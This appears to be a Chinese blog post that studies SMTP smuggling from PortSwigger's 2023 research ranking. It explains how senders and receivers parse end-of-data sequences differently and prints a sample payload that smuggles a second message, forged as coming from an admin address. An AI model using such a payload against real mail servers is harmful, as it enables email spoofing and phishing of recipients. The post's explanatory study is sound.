无聊在刷portswigger时发现portswigger原来还有对年度十大研究成果进行排名,感觉都挺有意思的。

2023/top3:SMTP走私——全球范围内的电子邮件伪造

所谓SMTP请求走私就是利用SMTP服务器的发送端和接收端的差异而进行的。

SMTP报文结果,发送端和接受端的简介

首先我们得先了解一下发送端于接受端的功能对应报文的处理

报文结构

1
2
3
4
5
6
7
8
9
From: Alice <alice@example.com>\r\n
To: Bob <bob@example.com>\r\n
Subject: Test\r\n
Date: Thu, 10 Dec 2025 15:30:00 +0800\r\n
\r\n
Hello Bob,\r\n
This is a test email.\r\n
.\r\n

可以发现其实就是邮件头加消息即body的结构,然后使用单独一行的.即<CRLF> . <CRLF>来当结束符。

发送端于发送端的差异

首先发送端遇到<CRLF> . <CRLF>即结束符号时会进行截断直接不解析后面的即只将<CRLF> . <CRLF>前的内容发送给接收端
而非常有趣的是当接受端收到<CRLF> . <CRLF>却会继续解析后面的smtp命令。

产生原因

前面我们说了发送端和接受端对<CRLF> . <CRLF>即结束符的处理方法是不同的。但是单纯的使用<CRLF> . <CRLF>是无法走私成功的,这个漏洞需要当发送端无法解析类似<CRLF> . <LF>或者<LF> . <LF>这种形式的单行.而接受端却可以解析。

那么就会造成攻击者构造如下报文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
data\r\n
From: user@gmx.net\r\n
To: user@provider.example\r\n
Subject: Message #1\r\n
\r\n
lorem ipsum
\n.\r\n
mail FROM:<admin@gmx.net>\r\n
rcpt TO:<user@provider.example>\r\n
data\r\n
From: admin@gmx.net\r\n
To: user@provider.example\r\n
Subject: Message #2\r\n
\r\n
I am the admin now!
\r\n.\r\n

上面的payload就有可能造成发送端无法识别